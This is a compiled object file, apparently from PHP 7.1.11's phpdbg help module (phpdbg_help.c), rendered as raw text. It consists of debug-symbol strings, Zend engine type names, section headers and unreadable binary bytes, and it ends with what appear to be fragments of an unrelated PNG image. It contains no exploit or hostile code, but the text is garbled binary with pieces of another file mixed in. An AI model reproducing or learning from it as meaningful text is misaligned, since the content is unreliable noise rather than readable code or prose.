PbSfpPpS%R%^VfrRR%Q%X%%dWfrrW%0@^\fr0rPP0PVVSPP3PhPRR-WMWWWw.w~36R6DrDFr~N^R^`phWqQWwWwPPWVWZvZ]V3VhVtVvr'+P+HswRwPT0QL03LFNQ`hQhL05T03h0P005ARAM0MTR03h00VR005F\FM0MT\03h00S\005TS0S.3S3h00s\#0\#SAsXANS\#SIsXI~SNVVPPmwlAllP PADPPPC?@pretty_print7Aphpdbg_do_help_aliasesAphpdbg_do_help_cmdAsummary_printAphpdbg_do_help[Cphpdbg_help_commandsrCphpdbg_help_textC/int32_tOuint16_tauint32_tsuint64_tsize_t__quad_t__u_quad_t__dev_t__uid_t__gid_t__ino_t__mode_t__nlink_t__off_t__off64_t$__pid_t/__clock_t:__time_tG__blksize_tR__blkcnt_t__sigset_ttimespecFILEl_IO_lock_ts_IO_marker_IO_FILEzend_longzend_ulongzend_off_tzend_boolzend_uchar"zend_object_handlerszend_class_entryzend_functionzend_execute_datazvalzend_refcountedzend_string$	zend_array	zend_object
zend_resourceb
zend_reference
zend_ast_ref
zend_astdtor_func_tP_zend_value*zend_value_zval_structA
_zend_refcounted_hd
zend_refcounted_h_zend_refcounted_zend_stringo
_Bucket
Bucket
HashTable/	_zend_arrayHashPosition_HashTableIteratorIHashTableIterator	_zend_object!
_zend_resourcem
_zend_reference
_zend_ast_refvzend_mm_heapzend_ast_kindzend_ast_attr
_zend_astzend_object_iterator
_zend_object_iterator_funcszend_object_iterator_funcs_zend_object_iterator_zend_class_iterator_funcsAzend_class_iterator_funcsLstat)zend_stream_fsizer_tJzend_stream_reader_tuzend_stream_closer_tzend_stream_type_zend_mmapzend_mmap_zend_streamgzend_stream_zend_file_handlezend_file_handlezend_stat_tsigval"sigval_tsiginfosiginfo_t__sighandler_t/sigactionvzend_serialize_datazend_unserialize_data_zend_trait_method_referencezend_trait_method_reference_zend_trait_precedence"zend_trait_precedence-_zend_trait_alias^zend_trait_alias_zend_class_entryzend_error_handling_tzend_object_read_property_tzend_object_read_dimension_tzend_object_write_property_t=zend_object_write_dimension_tdzend_object_get_property_ptr_ptr_tzend_object_set_tzend_object_get_tzend_object_has_property_tzend_object_has_dimension_t7zend_object_unset_property_t^zend_object_unset_dimension_tizend_object_get_properties_tzend_object_get_debug_info_tzend_object_call_method_tzend_object_get_method_t"zend_object_get_constructor_tCzend_object_dtor_obj_t`zend_object_free_obj_tkzend_object_clone_obj_tzend_object_get_class_name_tzend_object_compare_tzend_object_compare_zvals_t	zend_object_cast_tzend_object_count_elements_t@zend_object_get_closure_tvzend_object_get_gc_tzend_object_do_operation_t-_zend_object_handlerszend_op_arrayzend_op _znode_ope znode_op_zend_opp _zend_try_catch_element zend_try_catch_element _zend_live_range zend_live_range _zend_internal_arg_infoP!zend_internal_arg_info\!_zend_arg_info!zend_arg_info_zend_op_array!_zend_internal_function"zend_internal_function_zend_function_zend_execute_dataY#__jmp_buft#__jmp_buf_tag#jmp_buf#zend_executor_globals&_zend_stack'zend_stack*'_zend_objects_storeg'zend_objects_storer'fpu_control_t}'zend_arena'_zend_arena'zend_vm_stack(zend_ini_entry#_zend_executor_globals(zend_module_entry_zend_module_entry)_zend_module_dep'_zend_vm_stack_zend_function_entry)php_stream+php_stream_wrapperB+php_stream_context~+php_stream_filter+php_stream_notification_func<,php_stream_notifierG,_php_stream_notifierM+_php_stream_context,php_stream_bucket,-php_stream_bucket_brigade,_php_stream_bucket7-_php_stream_bucket_brigade-php_stream_filter_status_t-_php_stream_filter_ops.php_stream_filter_ops._php_stream_filter_chainH.php_stream_filter_chain+_php_stream_filter_._php_stream_statbufw.php_stream_statbuf._php_stream_ops/php_stream_ops0_php_stream_wrapper_ops1php_stream_wrapper_ops+_php_stream_wrapper)_php_stream(_zend_ini_entry2phpdbg_signal_safe_mem2zend_generator_node3zend_generator2_zend_generator_node3_zend_generator4phpdbg_param_type4phpdbg_param_t4_phpdbg_param5phpdbg_command_handler_t5phpdbg_command_t5_phpdbg_command_t6phpdbg_frame_t6phpdbg_lexer_data6_phpdbg_color_t97phpdbg_color_te7phpdbg_btree_resultp7phpdbg_btree_branch{7_phpdbg_btree_branch7phpdbg_btree%8phpdbg_watchtype08phpdbg_watch_collision8_phpdbg_watchpoint_tI9phpdbg_watchpoint_t;8_phpdbg_watch_collision|9_phpdbg_watch_element:phpdbg_watch_element:phpdbg_oplog_entry&:_phpdbg_oplog_entry:phpdbg_oplog_list:_phpdbg_oplog_listJ;_zend_phpdbg_globals)?zend_phpdbg_globals5?_phpdbg_help_text_tZ?phpdbg_help_text_ttrait_precedenceszend_object_has_dimension_tcache_slotHashPositionprogressreadbuflen_unused2unset_dimensionzend_object_clone_obj_t_filenozf_new_iterator_phpdbg_paramno_extensionserror_reportingprogress_maxhandlezend_generator_nodeoplogzend_class_iterator_funcs__saved_maskwatch_collisionslinenoop2_typetype_hintsi_uidcurrent_modulephpdbg_globalscommon_zend_internal_arg_infoGNU C 4.4.7 20120313 (Red Hat 4.4.7-23)set_optionstatic_variables_php_stream_bucket_shortbufphpdbg_do_help_aliases_zend_objectop1_typefnameisattymodifiablereadhandlersprompt_escape_lenzend_stream_fsizer_t_sigpolluint16_tphpdbg_command_handler_tSTACK_PARAMcounted_flagswatchpoint_treeinvalidate_currentnextfclose_stdiocast__off_tnTableMaskZEND_GENERATOR_AT_FIRST_YIELD_zend_op_zend_object_handlersst_sizeexception_classprompt_len__getfree_filenamezend_streamorig_pathphpdbg_command_t_lockfunction_tablezend_object_get_tmove_forwardmh_arg1mh_arg2mh_arg3modifierscommands_zend_module_depzend_object_has_property_tpass_by_referencealias_zend_objects_storebranchsubs_phpdbg_watchpoint_told_closerphpdbg_help_text_thard_timeoutinternal_functionzend_ulongZEND_GENERATOR_DO_INIT_sigchldzend_arg_infoint32_tinfo_func__jmpbufphpdbg_signal_safe_memdepsmaskopcodepromptORIG_PARAMsigactionflushzend_mm_heapterm_widthprototypeconstructorst_gidsocket_pathvalues_timerelementsPSFS_PASS_ONsa_restorerzend_object_get_constructor_t_IO_write_endzend_object_do_operation_tpretty_printwrapperdatast_nlinkfake_scopepersistent_listtimed_outname_lenoptionsst_ctimfe_iter_idx__sigset_t_php_stream_opschainindexwrapperthiscompile_stringorig_url_wrap_phpphpdbg_do_help_cmd_zend_trait_precedencec_subrenamehas_dimensionmodule_shutdown_func__exposed__unsetdefault_properties_tabletrampoline_zend_executor_globalsaddrzend_object_free_obj_tregular_list_killwrite_dimensionget_gc_zend_internal_functionlargest_used_integer_key_php_stream_filter_opswatch_tmpcallerror_reporting_ini_entryglobals_ctorattrst_atimphpdbg_prompt_commandsreferenceincluded_filescall_methodquick_arg_flagsphp_stream_opscloserline_start_zend_arena__clock_tticks_counttypezend_file_handleunlinksival_ptrold_handleproperties_info__uid_tsi_stimephpdbg_param_tstdiocastEVAL_PARAMPSFS_FEED_MEphpdbg_watchpoint_tstream_openercreate_objectopline_before_exceptionwatchopened_pathzend_off_tmodereadposP_NOTICEzend_stream_typegc_buffer_chainnum_interfaceslast_blank_countinfo__jmp_buf_tag_zend_stackerr_buffinally_opzend_object_count_elements_toriginal_free_functionht_iterators_used_zval_structunsigned charZEND_GENERATOR_FORCED_CLOSErequest_shutdown_funczend_objectbold_escape_len__blkcnt_t_zend_array_IO_lock_top_arrayclasschunk_sizeuser_exception_handlerexecphpdbg_pagesizerootallow_nullinput_buffer_zend_resourcebrigadeSHELL_PARAMline_endzend_module_entryserializephpdbg_btree_branchzend_debugfunction_nameZEND_HANDLE_STREAMsa_flagsphpdbg_frame_t_phpdbg_watch_elementphp_stream_filter_status_tname_in_parentP_ERROR__callstaticfunctionsget_current_keyproperties_tableuint64_t__mode_tP_WRITEzend_object_get_gc_t_zend_vm_stackcompile_file_zend_object_iterator_funcsbrancheszend_object_write_dimension_trewindgc_buffer_sizezend_functioncastbuflenCOND_PARAMphpdbg_oplog_entryrequired_num_argsiteratorstdoutjmp_addrmsglenzend_stat_t_IO_write_ptrfn_flagsWATCH_ON_ZVALjmp_bufbold_on_escapein_bold_zend_mm_heapmethod_namezend_object_write_property_t_zend_module_entryopline_numzend_trait_aliasline__s2_lennApplyCountclosefree_list_headsizevm_stack_endinterfacesFILE_zend_op_array_zend_generator_nodeopcodesold_sigsegv_signalmodule_startup_funcreadbufsize_treq_idtry_op_phpdbg_oplog_listseek_exzend_opnNumOfElementsget_helpzend_reference_zend_phpdbg_globalsdtor_func_tzend_object_unset_dimension_tget_methodclass_nameparamget_property_ptr_ptrbailout_zend_valueWATCH_ON_HASHDATAlval_IO_save_basephp_stream_contextis_urlcurrent_execute_datazend_longsa_maskcommandSTR_PARAMP_STDERRP_LOG__pad2textfilecodeconstants_tableglobals_ptr__nlink_tsi_addrst_inost_modeaccess_flagsarg_infozend_object_read_dimension_tobjects_storesymbol_tablelong_min_digitsstream_statsend_targetphp_stream_wrapper_opsWATCH_ON_STRsummary_printin_freezf_currentzend_arrayread_property_zend_try_catch_elementrefcountvaluesival_intsi_codestream_mkdir_nextzend_object_handlers_zend_file_handlephpdbg_watch_collisionexception_op_php_stream_bucket_brigadesocket_fd_php_stream_filter_chaindefault_static_members_tablereservedglobals_sizefpu_control_tconst_flagsstartcount_elementstimespecwatch_freeexec_lenzend_mmapcur_command__valphp_stream_filterzend_object_cast_tconstantgeneratorst_rdevprompt_escapephp_streamzend_phpdbg_globalsdefault_properties_count__sighandler_tphp_stdiop_writewrapperarg_flagswatchpoint_hitgc_infost_uidextra_phpdbg_help_text_terror_handling_zend_stringold_heapdestructorlast_varexclude_from_classeszend_ast_kindresulttrait_method_zend_serialize_dataname_zend_arg_infosymtable_cache_limit_sbuf_IO_save_endin_executionWATCH_ON_REFCOUNTEDzend_object_read_property_tini_entry_HashTableIteratorzend_unserialize_datadval__setregistered__time_tstream_metadatain_autoloadsymtable_cache_ptr_padcloneorig_valuephp_stream_filter_opsfuncsenclosing_streamcollexit_statussummaryshort unsigned intvmretwatch_HashTablessigned charMETHOD_PARAMis_variadic__blksize_textended_valuenum_matchesnum_argstimeout_secondsfilenamedtorcountcast_objectFILE_PARAMsi_piduser_error_handler_zend_trait_aliaszend_class_entry__off64_tzvalEH_SUPPRESSHashTable_IO_read_basezend_object_unset_property_tearly_binding_offsetini_directivesnIteratorsCountstream_rmdirvm_interruptstate_IO_buf_endget_debug_info_BucketThiszend_object_iterator_funcszend_boolwopssocket_server_fdzend_try_catch_elementZEND_HANDLE_FILENAME_modefilterfgetss_state_IO_write_basemodule_phpdbg_btree_branchEMPTY_PARAMfuncht_iteratorsparser_stack_php_stream_wrapperpDestructorlambda_countzend_internal_arg_infozend_object_get_property_ptr_ptr_tseekzend_serialize_dataphp_stream_statbuflong intwritepossa_sigactiondoc_commenttype_flagszend_trait_method_reference__call__mask_was_saved_IO_markerorig_modifiablephp_stream_wrapperphpdbg_do_helpbuiltin_functionswatch_recreationphpdbg_watch_elementlabelphp_stream_bucketwritewrite_propertyzf_nextfree_objlast__sigaction_handlerfull_tables_cleanupuint32_tRUN_PARAMvm_stack__pid_tline_countuser_error_handler_error_reportingconsistencyiterator_funcs/php-7.1.11/sapi/phpdbg/phpdbg_help.cdisplayerzend_ast_attrzend_constantslong doubleunclean_evallinesdepthHashTableIteratorphpdbg_btree_resultpositionphp_stream_bucket_brigaderequest_startup_funczend_stream_closer_t_zend_mmaplong unsigned intscopecompare_objectsuninitialized_zvalhandled_exceptionphpdbg_btreeglobals_dtorADDR_PARAMget_commandsi_status_zend_ast_refzend_execute_dataphpdbg_watchtypelast_live_rangezend_object_get_properties_tprev_exceptionFAILUREcharparentszend_object_iteratornotifier_zend_functionstdinzend_stringzend_object_dtor_obj_tlast_literallive_range_IO_buf_baselexerZEND_HANDLE_MAPPEDtry_catch_arraydtor_objzend_object_get_method_tprecision__dev_tstream_closerzend_stream_reader_tlast_line_IO_read_endis_persistentmodifiedfopsoplog_listresult_typereadfiltersnodedo_operation_IO_FILEwatchlist_mem_backupwritefiltersclone_obj_sifieldslast_new_blankht_iterators_countarDatabuffer_zend_refcounted_hinit_compile_file_phpdbg_watch_collisionbp_countreturn_valueleafzf_validzend_objects_store__s1_lensi_signo__debugInfobuild_idbold_off_escapetrait_aliases__pad1__pad3__pad4__pad5si_errnodefault_static_members_countabstractbackup_markers_pos_php_stream_contextget_static_methodbucket_php_stream_notifierautoload_funcsi_bandP_STDOUT_php_stream_filterchildrentailexecute_dataoplog_arenatip_lendoublesiginfozend_arenasigsegv_bailoutWATCH_ON_HASHTABLEwatch_elementsunset_property_znode_opst_devpropertiesargszend_trait_precedenceexecute_fakenNumUsedsapi_name_ptrget_propertiessaved_fpu_cwphp_stream_filter_chainerror_zvalPSFS_ERR_FATALget_current_datazend_executor_globalshas_propertydatazend_object_get_class_name_t__tostringget_closure_zend_class_entry_zend_generatorheadht_iterators_slotsliteralsheapobject_buckets_zend_class_iterator_funcscolorsget_class_namevm_stack_top_zend_live_rangesigval_tzend_stackZEND_GENERATOR_CURRENTLY_RUNNINGzend_object_compare_zvals_tin_script_xml_phpdbg_color_tprev_execute_datazend_internal_function__isset_php_stream_wrapper_opsphpdbg_help_commands__gid_tinterface_gets_implementedphpdbg_param_type_zend_function_entrytraitsdir_openerwatchlist_memNUMERIC_FILE_PARAM_sigfault_zend_referencesi_utimetv_secctxmarker_zend_ini_entryinput_buflenlong long unsigned intparentoffsetzend_live_rangesa_handler_cur_columnfe_poskindvalid_symbol_tablesi_fdBucketmodule_started_phpdbg_oplog_entrysymtable_cachechild_containerzend_object_set_tst_blocksread_dimensionfsizerNUMERIC_PARAMSUCCESSnTableSizeurl_statcatch_opzend_refcounted_hsigval_IO_backup_basestdin_filephp_stream_notifier_IO_read_ptrparent_containertype_infoarrayget_iteratorinternalzend_resourceNUMERIC_METHOD_PARAMassertionssigsafe_memname_lengthfrozen_call_stackmarkerxmllenvarszend_ucharsi_overrunEH_NORMAL_phpdbg_command_tproperty_guardce_flagszend_generator_zend_object_iteratorcache_size_zend_streamWATCH_ON_BUCKET_old_offsetfinally_endrun_time_cachesiginfo_texception_zend_unserialize_datastatic_members_tableretvalzend_vm_stack_php_streamcomparelong long intpersistent_flags2phpdbg_color_tsaved_fpu_cw_ptrpost_deactivate_funcP_WRITELNhandlerreadercursortv_nsec_zend_trait_method_referencezend_ast_refown_bufzend_object_get_closure_tzf_keyunserialize_funcnNextFreeElementclass_tablevalidallocated__ino_tzf_rewindZEND_HANDLE_FDuserunserializezend_ini_entry_zend_refcountedZEND_HANDLE_FPprevNUMERIC_FUNCTION_PARAMzend_apiget_constructormodified_ini_directivesfile_sources_zend_astnum_traitsuser_error_handlers_error_reportingOP_PARAMsi_tidzend_object_get_debug_info_tphpdbg_lexer_datazend_valuelast_was_newlinemodule_number__u_quad_tuser_exception_handlersst_blksizezend_op_arraycall_trampoline_opexecutor_globalsphpdbg_help_textznode_opversionoplog_cur__unused4__unused5zend_refcounted_zend_execute_datamethodunsigned intphpdbg_oplog_listoplinestreamnInternalPointerzend_object_compare_tst_mtimactivezend_object_call_method_tshort intserialize_funcchildhelpsi_sigval__jmp_buf_vtable_offsetframezend_astmmapphp_stream_notification_func_php_stream_statbuflast_try_catchzend_error_handling_ton_modifystatflags__quad_tEH_THROWuser_error_handlersGCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-23)|,AB
DCX
AAAC0TAB
CMm
AAFIAA<AB
Ii
AAAHU
AAAA(AB
nMAAA,[AB
\
IZ
FNNAB
J(@pAB
IGb

AB.symtab.strtab.shstrtab.rel.text.rel.data.bss.debug_abbrev.rel.debug_info.rel.debug_line.rodata.str1.1.rodata.str1.4.rel.rodata.rel.debug_loc.rel.debug_pubnames.rel.debug_pubtypes.rel.debug_aranges.debug_str.comment.note.GNU-stack.rel.debug_frame@	
8)	 %	/
4
F
CB	 VPR	3	b2UEq2Xb  	3
	d4	l4	t4 	|40+0t.`	4p		[	T
$,=DQcjy
[ N.7@pF
phpdbg_help.cget_commandget_helpstrncmpphpdbg_help_textstrcmppretty_printphpdbg_get_promptstrlenphpdbg_globalsphpdbg_get_terminal_width_emallocphpdbg_out_internal_efreephpdbg_printphpdbg_xml_internalmemcpyphpdbg_do_help_aliasesphpdbg_prompt_commandsphpdbg_do_help_cmdsummary_printspprintfphpdbg_do_helpphpdbg_help_commands4	(08=	E^	c	tzfn	z			 	!!""
	"	2 7?	G!M$T$a$			 	$	-= Q^	f!s	z$			 	!	$,	5E RZ	b!g	t		%'08Z	g$$$$&	$&6KS[	dt )				 	$(	,0	48	<@	DH	LP	TX	\`	dh	lp	tx	|															$+0DKP]bot%0;HSl
'4AN[hu
&4BP^mt#.:FR^jv!.;HUbo|'3@MZgt*7DQ^kx
'4AN[hu%	0	Q	]	i	u											

"
;
H
c
n







Q]hs+>JVb


6
B
N
e
p







Jw&2>JVb#/BMYeq}*Kv+7CO[h#6BWco,7BXcn0<HTaw
#.:FR_r~$0<T`lx
$1>Ze>e
8_j#Dal
Aw
$1>KXer-;IWes   ? J f q }         !!!)!6!C!Q!]!j!w!!!!!!!
""$"1">"K"X"e"r""""""""#
##'#4#A#Z#u###########
$$$$1$>$K$X$e$r$$$$$$$$$$$%%%(%5%B%O%\%i%v%%%%%%%%%%%&&&,&9&F&S&`&m&z&&&&&&&&&&' '+'7'O'['h's'~''''''(
((%(1(=(I(U(a(m(y(((((	))-)9))))))))***)*C*P*]*j*w*********+++*+6+C+N+Z+f+++++++++++=,H,T,`,x,,,,,,,,,-- ---8-D-P-q-w-}------
..$.0.<.I.`.x.........../	00!0-090E0Q0]0i0u0001^2j2v222222222222223323>3J3V3o3|33333333334B4M4a4g4m4s4y444444444444444445585Y5e5z5555555666$606<6H6t6666666666777:7f7q7|7777777788
8888&818<8U8b88888899*969J9}999999999::':3:?:K:W:c:::::::#;=;K;c;p;};;;;;;;;;;<<<*<8<F<T<b<p<~<<<<<<<<<
==&=4=B=P=y==========>>!>/>=>K>Y>g>u>>*?6?N?[?f?q?u??
?
??
??
??
???@
@
@@@(@A@H@L@W@o@
|@
@
@@
@@@@@
@@@
@@
@A

AA
A#A
(A2A
9AEAIATApA{A
A
AAAAAA
AAAABBBB2B
?B
EBRBoBBBBBBBBBC(C5CBCOC\CiC)sCCCC		#$(	0	@$P	X	h$x		$		$KHL|8<
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`